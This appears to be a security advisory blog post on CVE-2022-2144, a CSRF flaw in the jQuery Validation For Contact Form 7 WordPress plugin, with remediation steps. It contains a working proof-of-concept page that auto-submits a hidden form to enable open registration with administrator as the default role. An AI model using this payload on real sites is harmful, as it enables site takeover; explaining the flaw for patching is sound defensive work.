WordPress plugins make website management easier, but sometimes security oversights turn them into targets for attackers. CVE-2022-2144 is a classic example—a Cross-Site Request Forgery (CSRF) vulnerability in the popular jQuery Validation For Contact Form 7 WordPress plugin, affecting versions before 5.3.
This post explains CVE-2022-2144 in simple terms, demonstrates how an attacker could exploit it, and offers guidance for users and admins to secure their sites. All content here is exclusive and easy to follow.
What Is CVE-2022-2144?
This vulnerability exists because the plugin does not check for CSRF tokens when updating its settings. Any logged-in administrator who visits a malicious website or clicks a crafted link could be tricked into changing important blog options like default_role (sets the default role for new users) or users_can_register (controls user registration).
Relevant Plugin: jQuery Validation For Contact Form 7
Affected Versions: < 5.3
Patched In: 5.3 and later
Understanding CSRF
Cross-Site Request Forgery (CSRF) is a type of attack that tricks a user’s browser into submitting a request to a site where the user is authenticated—without their consent. WordPress fights CSRF using *nonces*—unique tokens that verify if a request genuinely comes from the legitimate admin interface.
If a plugin doesn’t check for these nonces, it’s wide open to CSRF attacks.
How the Vulnerability Works
The vulnerable plugin provides an options page in the backend. Any POST request made to its settings endpoint (as long as you're logged in as admin) will update options, even if the request came *from somewhere else*.
1. Attacker Prepares a Malicious Webpage
The attacker creates a webpage with a hidden form that submits, for instance, users_can_register=1 and default_role=administrator to the vulnerable endpoint.
malicious.html
<html>
<body>
<form id="csrf-form" action="https://victimsite.com/wp-admin/options-general.php?page=cf7_validation_options"; method="POST">
<input type="hidden" name="users_can_register" value="1" />
<input type="hidden" name="default_role" value="administrator" />
<input type="submit" value="submit" />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
2. Admin Visits the Malicious Page
If a logged-in admin visits this page (perhaps tricked via phishing), their browser submits the request.
3. Blog Settings Are Changed
Now, anyone can register for an account, and new registrations get administrator privileges. The attacker simply registers a new user and instantly gains full control of the site.
Let’s see why this happens. The plugin’s settings handler (pseudocode) might look like
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Missing: check_admin_referer('cf7_validation_settings');
update_option('users_can_register', $_POST['users_can_register']);
update_option('default_role', $_POST['default_role']);
}
Notice there is no nonce check (check_admin_referer), thus no CSRF protection.
Exploit Details
- Prerequisites: The attacker must trick a logged-in WordPress admin into visiting a malicious page.
Payload: A crafted POST request to the plugin’s settings page.
- Impact: Attacker can enable open registration and set the default role to administrator, essentially opening the door to their own backdoor admin account.
References
- Original plugin page
- CVE-2022-2144 details at WPVulnDB
- National Vulnerability Database entry
- Wordfence Blog covering the vulnerability
If you’re using jQuery Validation For Contact Form 7
1. Update immediately to version 5.3 or later.
Review your site’s users; make sure no unwanted administrators exist.
3. Use security plugins (like Wordfence) for additional protection and scanning.
Developers:
Always validate POST requests with WordPress nonces using check_admin_referer() in your custom plugins!
Conclusion
CVE-2022-2144 is a prime reminder that minor security oversights—like missing a nonce verification—can dramatically undermine a WordPress site’s security. Stay updated, use trusted plugins, and always follow security best practices.
Timeline
Published on: 07/17/2022 11:15:00 UTC
Last modified on: 07/18/2022 11:33:00 UTC